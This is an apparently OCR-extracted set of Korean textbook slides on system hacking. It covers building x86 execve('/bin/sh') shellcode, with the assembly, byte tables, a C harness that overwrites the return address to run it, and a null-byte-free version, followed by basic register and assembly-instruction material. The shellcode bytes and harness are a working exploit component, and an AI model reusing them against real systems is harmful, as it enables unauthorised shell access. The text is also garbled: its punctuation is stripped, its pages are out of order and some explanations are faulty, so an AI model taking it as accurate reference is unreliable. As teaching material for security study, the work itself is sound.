[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 5: 80×86  시스템에 대한 이해

5108

80times86 시스템 CPU 의 구조 연산장치

bull 연산 장치 (ALUArithmetic and Logic Unit) 는 CPU( 중앙 처리 장치 ) 의 핵심 부분 중

하나로 산술과 논리 연산을 수행하는 연산 회로 집합으로 구성

[ 표 2-2] 연산 장치의 구성 요소

80times86 시스템 CPU 의 구조와 레지스터

구성 요소 기능

내부

장치

가산기 (Adder) 덧셈 연산 수행

보수기 (Complementer)뺄셈 연산 수행 1 의 보수나 2 의 보수 방식 이용

시프터 (Shifter)비트를 오른쪽이나 왼쪽으로 이동하여 나눗셈과 곱셈 연산 수행

관련

레지

스터

누산기 (Accumulator) 연산의 중간 결과 저장

데이터 레지스터(Data Register)

연산에 사용할 데이터 저장

상태 레지스터 (Status Register)

연산 실행 결과로 나타나는 양수와 음수 자리올림 오버 플로우의 상태 기억

6108

80times86 시스템 CPU 의 구조 제어장치

bull 제어 장치 (Control Unit) 는 입력 출력 기억 연산 장치를 제어하고 감시 주기억

장치에 저장된 명령을 차례로 해독하여 연산 장치로 보내 처리되도록 지시

[ 표 2-3] 제어 장치의 구성 요소

레지스터bull 처리 중인 데이터나 처리 결과를 임시 보관하는 CPU 내의 기억 장치

80times86 시스템 CPU 의 구조와 레지스터

구성 요소 기능

내부

장치

명령 해독기 (Instruction Decoder)명령 레지스터에 있는 명령을 해독하여 부호기로 전송

부호기 (Decoder)명령 해독기가 전송한 명령을 신호로 만들어 각 장치 전송

주소 해독기

(Address Decoder)

명령 레지스터에 있는 주소를 해독하여 메모리의 실제주소로 변환한 후 이를 데이터 레지스터에 저장

관련

레지

스터

프로그램 카운터 (Program Counter) 다음에 실행할 명령의 주소 저장

명령 (Instruction) 레지스터 현재 실행 중인 명령 저장

메모리 주소 (Memory Address) 레지스터 주기억 장치의 번지 저장

메모리 버퍼 (Memory Buffer) 레지스터 메모리 주소 레지스터에 저장된 주소의 실제 내용 저장

7108

레지스터의 종류와 기능 [ 표 2-4] 레지스터의 종류와 용도

80times86 시스템 CPU 의 구조와 레지스터

범주80386

레지스터이름 비

트 용도

범용 레지스터 (General Register)

EAX 누산기 (Accmulator) 32주로 산술 연산에 사용 ( 함수의 결과 값 저장 )

EBX베이스 레지스터 (Base Register)

32특정 주소 저장 ( 주소 지정을 확대하기 위한 인덱스로 사용 )

ECX카운트 레지스터 (Count Register)

32반복적으로 실행되는 특정 명령에 사용( 루프의 반복 횟수나 좌우 방향 시프트 비트 수 기억 )

EDX데이터 레지스터 (Data Register)

32 일반 자료 저장 ( 입출력 동작에 사용 )

세그먼트 레지스터 (Segment Register)

CS코드 세그먼트 레지스터 (Code Segment Register)

16실행될 기계 명령어가 저장된 메모리 주소

지정

DS데이터 세그먼트 레지스터 (Data Segment Register)

16프로그램에서 정의된 데이터 상수 작업 영역의 메모리 주소 지정

SS스택 세그먼트 레지스터 (Stack Segment Register)

16

프로그램이 임시로 저장해야 하는 데이터나 사용자의 피호출 서브 루틴(called subroutine) 이 사용할 데이터와 주소 저장

ES FS GS

엑스트라 세그먼트 레지스터 (Extra Segment Register)

16문자 연산과 추가 메모리 지정을 위해 사용되는 여분의 레지스터

8108

레지스터의 종류와 기능 [ 표 2-4] 레지스터의 종류와 용도

80times86 시스템 CPU 의 구조와 레지스터

범주80386

레지스터이름 비

트 용도

포인터 레지스터 (Pointer Register)

EBP베이스 포인터 (Base Pointer)

32SS 레지스터와 함께 사용되어 스택 내의 변수 값을 읽는 데 사용

ESP스택 포인터 (Stack Pointer)

32SS 레지스터와 함께 사용되며 스택의 가장 끝 주소를 가리킴

EIP명령 포인터 (Instruction Pointer)

32다음 명령어의 오프셋 (Offset 상대 위치 주소 ) 을 저장하며 CS 레지스터와 합쳐져 다음에 수행될 명령의 주소 형성

인덱스 레지스터 (Index Register)

EDI목적지 인덱스 (Destination Index)

32 목적지 주소에 대한 값 저장

ESI출발지 인덱스 (Source Index)

32 출발지 주소에 대한 값 저장

플래그 레지스터 EFLAGS

플래그 레지스터 (Flag Register)

32연산 결과 및 시스템 상태와 관련된 여러 가지 플래그 값 저장

9108

레지스터의 종류와 기능 [ 표 2-5] 레지스터의 종류와 용도

범용 레지스터

80times86 시스템 CPU 의 구조와 레지스터

구분 맴핑 레지스터

연산

장치

관련

레지

스터

누산기 (Accumulator) EAX

데이터 레지스터 (Data Register) EDX

상태 레지스터 (Status Register) EFLAGS

제어

장치

관련

레지

스터

프로그램 카운터 (Program Counter) ECX

명령 레지스터 (Instruction Register) EIP

메모리 주소 레지스터 (Memory Address Register)

EBX EBP ESP EDI ESI 등

메모리 버퍼 레지스터 (Memory Buffer Register)

프로그램 실행과 관련한 데이터를 저장하는

레지스터로 RAM 의 역할을 한다

10108

레지스터의 종류와 기능 범용 레지스터

bull 연산 장치가 수행한 계산 결과의 임시 저장 산술 및 논리 연산 주소 색인 등의

목적으로 사용될 수 있는 레지스터 EAX EBX ECX EDX 등 bull EAX EBX ECX EDX 는 32 비트 레지스터로 앞의 E 는lsquo확장된 (Extended)rsquo 을 의미

이 레지스터의 오른쪽 16 비트를 각각 AX BX CX DX 라 부르고

이 부분은 다시 둘로 나뉜다 예를 들어 AX 는왼쪽 8 비트 상위 (high) 부분을 AH

오른쪽 8 비트 하위 (low) 부분을 AL 이라 한다

80times86 시스템 CPU 의 구조와 레지스터

11108

범용 레지스터bull EAX 레지스터 누산기 입출력과 대부분 산술 연산에 사용bull EBX 레지스터 DS 세그먼트에 대한 포인터를 주로 저장 ESI 나 EDI 와 결합하여 인덱스에 사용bull ECX 레지스터 루프가 반복되는 횟수를 제어하는 값 왼쪽이나 오른쪽으로 이동되는 비트 수 등을 포함bull EDX 레지스터 입출력 연산에 사용 큰 수의 곱셈과 나눗셈 연산에서 EAX와 함께 사용

80times86 시스템 CPU 의 구조와 레지스터

12108

세그먼트 레지스터 프로그램에 정의된 메모리상의 특정 영역

코드 데이터 스택 등을 포함

CS DS SS 3 개의 레지스터가 기본 ES FS GS 레지스터는 여분

bull CS 레지스터 기계 명령을 포함 코드세그먼트의 시작 주소를 가리킴

bull DS 레지스터 프로그램에 정의된 데이터 상수 작업 영역을 포함

데이터 세그먼트의 시작 주소를 가리킴

데이터의 오프셋을 DS 레지스터에 저장된 주소 값에 더해 데이터 세그먼트 내에 위치해 있는 데이터의 주소를 참조

bull SS 레지스터 실행 과정에서 필요한 데이터나 연산 결과 등을 임시로 저장하거나 삭제할 때 사용 스택 세그먼트의 시작 주소를 가리킨다

bull ES FS GS 레지스터 ES 레지스터는 추가로 사용된 데이터 세그먼트의 주소를 가리킴

FS 와 GS 레지스터도 목적은 이와 비슷 거의 사용되지 않음

80times86 시스템 CPU 의 구조와 레지스터

13108

포인트 레지스터 프로그램 실행 과정에서 사용되는 주요 메모리 주소값을 저장

EBP ESP EIP 가 있다

bull EBP 레지스터 스택 세그먼트에서 현재 호출되어 사용되는 함수의 시작 주소 값 저장

함수로 전달되는 지역변수 등을 참조할 때 기준 ESP 레지스터와 함께

사용되어 스택 프레임 (stack frame) 을 형성 실제 메모리상의 주소를 참조할 때

SS(Stack Segment) 레지스터와 함께 사용 bull ESP 레지스터 현재 스택 영역에서 가장 하위 주소를 저장 EBP 와 마찬가지로 실제

메모리상의 주소를 참조할 때 SS(Stack Segment) 레지스터와 함께 사용 bull EIP 레지스터 다음에 실행될 명령의 오프셋을 포함 CS(Code Segment) 레지스터와 함께

사용

인덱스 레지스터bull ESI amp EDI 메모리의 한 영역 (Souce) 에서 다른 영역 (Destination) 으로 데이터를

연속적으로 복사할 때 사용

80times86 시스템 CPU 의 구조와 레지스터

14108

플래그 레지스터 32 비트로 컴퓨터의 다양한 상태를 나타내는 비트 포함

상태 플래그 제어 플래그 시스템 플래그로 구성

bull 상태 플래그 산술 명령 (ADD SUB MUL DIV) 결과를 반영

- CF(Carry Flag 비트 0) 산술 연산 결과로 자리올림 자리내림 발생할 때 세트 (1)

- ZF(Zero Flag 비트 6) 산술 연산 결과 0 이면 세트 (1) 이외에는 클리어 (0)

- OF(Overflow Flag 비트 11) 부호가 있는 수의 오버플로우가 발생하거나

MSB(MostSignificant Bit) 가 변경되었을 때 세트

80times86 시스템 CPU 의 구조와 레지스터

15108

플래그 레지스터bull 제어 플래그 (Control Flag) 스트링 명령 (MOVS CMPS SCAS LODS STOS) 을 제

어 DF 가 1 이면 스트링 명령 자동 감소 0 이면 자동 증가 STDCLD 명령은 각각 DF 플래그를 세트 (1) 클리어 (0)bull 시스템 플래그 (System Flag) - TF(Trap Flag 비트 8) 디버깅 시lsquoSingle Step Modersquo 모드를 활성화하면 세트 - IF(Interrupt enable Flag 비트 9) 프로세서의 인터럽트 처리 여부를 제어 - IOPL(IO Privilege Level 비트 1213) 현재 실행되는 프로그램 태스크의 입출력 특권 레벨 지시 - NT(Nested Task flag 비트 14) 인터럽트되거나 호출된 태스크를 제어 - RF(Resume Flag 비트 16) 프로세서의 디버그 예외 반응을 제어 - VM(Virtual 8086 Mode flag 비트 17) V86 모드를 활성화하면 세트 - AC(Alignment Check 비트 18) 메모리 참조 시 정렬 기능을 활성화하면 세트 - VIF(Virtual Interrupt Flag 비트 19) VIP(Virtual Interrupt Pending 비트 20)

가상 모드 확장과 관련해 사용 - ID(IDentification 비트 21) CPUID 명령의 지원 유무를 결정

80times86 시스템 CPU 의 구조와 레지스터

16108

메모리의 기본 구조

스택 후입선출 (LIFO Last-In First Out) 방식에 의해 정보를 관리

Top 이라고 불리는 스택의 끝부분에서 데이터의 삽입과 삭제가 발생

가장 나중에 삽입된 정보가 가장 먼저 읽힘

80times86 시스템의 메모리

17108

메모리의 기본 구조

힙 프로그램의 실행 중 필요한 기억 장소를 할당하기 위해 운영체제에 예약되어 있는

기억 장소영역 데이터를 저장하기 위해 기억 장소를 요청하면 운영체제는 힙에

존재하는 기억 장소를 프로그램에 할당 기억 장치가 더 이상 필요 없으면 할당

받았던 기억 장소를 운영체제에 반납 운영체제에서는 반납된 기억 장소를 다시

힙에 돌려줌 힙에 대한 기억 장소는 포인터를 통해 동적으로 할당되거나 반환

연결 리스트 트리 그래프처럼 동적인 특성이 있는 데이터 구조에서 널리 사용

데이터 세그먼트 초기화된 외부 변수나 static 변수 등이 저장되는 영역

보통 텍스트 세그먼트 (Text segment) 와 데이터 세그먼트 영역을

합쳐 프로그램이라 한다

80times86 시스템의 메모리

18108

메모리의 기본 구조

BSS 세그먼트 초기화 되지 않은 데이터 세그먼트 (Uninitalized data segment) 라고

불리며 프로그램이 실행될 때 0 이나 NULL 포인터로 초기화

외부 변수나 static 변수중 초기화 되지 않은 변수들이 정의될 때 저장

데이터 세그먼트 CPU 에 의해 실행되는 머신 코드가 있는 영역

80times86 시스템의 메모리

19108

메모리 접근 모드와 동작

실제 모드 8086 CPU 에서 사용되던 동작 모드

20 비트 주소 버스 사용 위해 16 비트 레지스터 사용

총 1MB(220 =1048567) 의 메모리 사용 가능

20 비트 주소를 나타내기 위해 세그먼트 레지스터를 도입

[ 그림 2-8] 과 같이 16 비트의 세그먼트 레지스터와 16 비트의 오프셋을

중첩시킨 20 비트의 물리 주소를 생성

80times86 시스템의 메모리

20108

메모리 접근 모드와 동작 세그먼트 주소인 CS 레지스터가 0x2525h 오프셋인 IP 가 0x95F3h 면

0x2525h 뒤에

한 자리의 0x0h 를 붙여 95F3h 를 더한 2E843h 가 실제 가리키는 물리 주소가 됨

2525h 95F3h 또는 [CS]96F3h 로 표현 하나의 세그먼트에 64KB(216 =65536) 의

메모리 사용

[ 표 2-6] 세그먼트 레지스터별 기본

오프셋 레지스터

80times86 시스템의 메모리

세그먼트 레지스터 오프셋 레지스터

CS IP

DS SI DI BX

SS SP BP

ES SI DI BX

21108

메모리 접근 모드와 동작

보호 모드 80286 부터 도입된 보호 모드 (Protected Mode) 는 32 비트 CPU 80386 에

완성 32 비트 주소 버스를 통해 4GB 의 메모리를 사용 가능 메모리 보 호

기능과 페이징 (Paging) 등을 통해 가상 메모리를 효율적으로 구현

세그먼테이션 (Segmentation) 과 페이징 이용 메모리 관리 세그먼테이션은

4GB 의 메모리를 세그먼트 단위로 쪼갠 것으로 여기서는 16 비트의

셀렉터와 32 비트의 오프셋을 이용해 4GB 범위의 32 비트

선형 주소 (linear address) 를 만듬

80times86 시스템의 메모리

22108

어셈블리어의 구조 Intel 문법과 ATampT 문법이 있다 윈도우에서는 Intel 문법 사용 리눅스에서는 ATampT 문법 사용 Intel 문법에서는 목적지 (destination) 가 먼저 오고 원본 (source) 이 뒤에 위치 ATampT 에서는 반대 Intel 문법에서 어셈블리어의 명령 형식은 다음과 같다

어셈블리어의 기본 문법과 명령

Label MOV AX BX comment 라벨 작동 코드 제 1 피연산자 제 2 피연산자 설명

23108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

데이터 타입bull 바이트 (Byte) 1 바이트 (8 비트 ) 데이터 항목bull 워드 (Word) 2바이트 (16 비트 ) 데이터 항목bull 더블워드 (Doubleword) 4바이트 (32 비트 ) 데이터 항목

어셈블리어의 기본 문법과 명령

24108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

리틀 엔디언 방식 2 개의 번지로 나누어 저장해야 하는 16 비트 데이터 (워드 ) 의 경우

하위 바이트는 하위 번지에 상위 바이트는 상위 번지에 저장

예 ) hex 값 0x34F3을 1500 번지에 저장하려면 하위값 0xF3 은

1500 번지에 상위 값 0x34 는 1501번지에 저장

어셈블리어의 기본 문법과 명령

25108

어셈블리어의 주소 지정 방식 레지스터 주소 지정 레지스터의 주소 값을 직접 지정 복사 처리 속도 가장 빠름

직접 메모리 주소 지정 가장 일반적인 주소 지정 방식 보통 피연산자 하나가 메모리 위치를 참조하고 다른 하나는 레지스터를 참조

( 예 )DS[8088h] 와 DS[1234h] 는 각각lsquo세그멘트 오프셋rsquo형식의

메모리에 직접 접근하는 방식

어셈블리어의 기본 문법과 명령

MOV DX BX

MOV AL DS[8088h]MOV DS[1234h] DL

26108

레지스터 간접 주소 지정 lsquo 세그멘트 오프셋rsquo형식을 사용

다음과 같이 기본이 아닌 세그먼트를 강제로 지정 할 수도 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX] MOV AL [BP]

MOV AL CS[BX] MOV AL DS[BP]

27108

인덱스 주소 지정 레지스터 간접 지정 방식에 변위가 더해진 메모리 주소 지정 방식 ( 예 )20h 만큼 더해 메모리를 참조한 명령

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+20h] MOV AL [BP+20h]

MOV AL 20h[BX] MOV AL 20h[BP]

28108

베이스 인덱스 주소 지정 실제 주소 생성 위해 베이스 레지스터 (BX 또는 BP) 와

인덱스 레지스터 (DI 또는 SI) 를 결합

2 차원 배열의 주소 지정에 사용

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI] MOV AL [BP+SI]

MOV AL [BX][SI] MOV AL [BP][SI]

29108

변위를 갖는 베이스 인덱스 주소 지정 베이스 - 인덱스의 변형으로 실제 주소 생성 위해

베이스 레지스터 인덱스 레지스터 변위 결합

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI+20h] MOV AL [BP+SI+20h]

30108

어셈블리어의 기본 명령 산술 연산 명령 기본적인 정수 계산

bull ADD(Add) 제 1 피연산자와 제 2 피연산자 값을 더한 결과 값을 제 1 피 연산자에 저장

bull SUB(Subtract) 제 1 피연산자에서 제 2 피연산자 값을 뺀 결과 값을 제 1 피연산자에 저장

bull CMP(Compare) 데이터의 두 값 비교 시 사용 lsquocmp a brsquo 의 경우 a 에서 b 를 뺀 값이0 이면 참

어셈블리어의 기본 문법과 명령

형식ADD [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

ADD AL 4

AL 이 원래 3이었다면 명령 실행 후 AL은 7이 된다

형식SUB [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

SUB AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

형식CMP [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

CMP AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

31108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

ADC Add with Carry 캐리를 포함한 덧셈을 수행한다

SBB Subtraction with borrow 캐리를 포함한 뺄셈을 수행한다

DEC Decrement 피연산자 내용을 하나 감소시킨다

NEG Change Sign 피연산자의 2 의 보수 즉 부호를 반전한다

INC Increment 피연산자 내용을 하나 증가시킨다

AAA ASCII adjust for add덧셈 결과의 AL 값을 UNPACK 10진수로 보정한다

DAA Decimal adjust for add 덧셈 결과의 AL 값을 PACK 10진수로 보정한다

AAS ASCII adjust for subtract뺄셈 결과의 AL 값을 UNPACK 10진수로 보정한다

32108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

DAS Decimal adjust for subtract 뺄셈 결과의 AL 값을 PACK 10진수로 보정한다

MUL Multiply(Unsigned) AX 와 피연산자의 곱셈 결과를 AX 또는 DXAX 에 저장한다

IMUL Integer Multiply(Signed) 부호화된 곱셈을 수행한다

AAM ASCII adjust for Multiply 곱셈 결과의 AX 값을 UNPACK 10진수로 보정한다

DIV Divide(Unsigned)AX 또는 DXAX 내용을 피연산자로 나눈다

몫은 AL 또는 AX 에 저장하고 나머지는 AH 또는 DX 에 저장한다

IDIV Integer Divide(Signed) 부호화된 나눗셈

AAD ASCII adjust for Divide 나눗셈 결과 AX 값을 UNPACK 10진수로 보정한다

CBW Convert byte to word AL 의 바이트 데이터를 부호 비트를 포함하여 AX 워드로 확장한다

CWDConvert word to double word

AX 의 워드 데이터를 부호를 포함하여 DXAX 의 더블 워드로 변환한다

33108

어셈블리어의 기본 명령 데이터 전송 명령 메모리 범용 레지스터 세그먼트 레지스터로 참조되는 주소에

존재하는 데이터 전송

bull MOV(Move) 데이터 이동할 때 사용

BP 의 현재 값이 0x10000004 라면 BP+8은 0x1000000C

0x1000000C 에 있는 값이 1024므로 AX 에는 1024 가 입력

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용 예

MOV AX [BP+8]

BP 의 주소에 8 더해진 주소에 있는 데이터

값을 AX 에 대입한다

34108

어셈블리어의 기본 명령 PUSH(Push) 스택에 데이터를 삽입할 때 사용

[ 그림 2-19] 와 같이 스택은 커지고 스택 포인터 (Stack Pointer)는

데이터 크기만큼 감소

어셈블리어의 기본 문법과 명령

35108

어셈블리어의 기본 명령 POP(Pop) 스택에서 데이터 삭제할 때 사용 스택에서 삭제된 명령은 반환 값으로

받아 사용 가능 [ 그림 2-20] 과 같이 스택 포인터는 삭제하는 데이터

크기만큼 증가

어셈블리어의 기본 문법과 명령

36108

어셈블리어의 기본 명령 LEA(Load effective address to register) 데이터의 값 이동할 때 사용

MOV 명령과 LEA 명령에서 제 1 피연산자는 데이터 이동 공통 제 2 피연산자에 대 한

추가 연산의 처리 방식은 다르다

제 2 피연산자에lsquo BP+4rsquo 가 있을 경우 MOV 명령은 lsquo BP+4rsquo 를 하나의 주소 값으로처리

LEA 명령은 lsquo BPrsquo 만 주소 값으로 인식 lsquo +4rsquo 는 BP 주소 값에 대한 추가 연산으로 처리

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

LEA AX [BP+4]

BP 의 현재 값이 0times10000004 라면 MOV 명령

처럼 BP+4 인 0times10000008 의 주소 값을 가져

오는 것이 아니라 0times10000004 의 주소에 있

는 값에 4 를 더해 AX 에 대입한다 ([ 그림 2-21] 참고 )

37108

어셈블리어의 기본 명령 기타 데이터 전송 명령 [ 표 2-8] 기타 데이터 전송 명령

어셈블리어의 기본 문법과 명령

명령 설명

XCHGExchange Register

Memory with Register

첫 번째 피연산자와 두 번째 피연산자를 바꾼다

INInput from AL AX to Fixed port

피연산자로 지시된 포트로 AX 에 데이터를 입력한다

OUTOutput from ALAX to Fixed port

피연산자가 지시한 포트로 AX 의 데이터를 출력한다

XLATTranslate byte to AL

BXAL 이 지시한 테이블의 내용을 AL 로 로드한다

LDS Load Pointer to DSLEA 명령과 유사한 방식으로 다른 DS 데이터의 주소의 내용을 참조 시

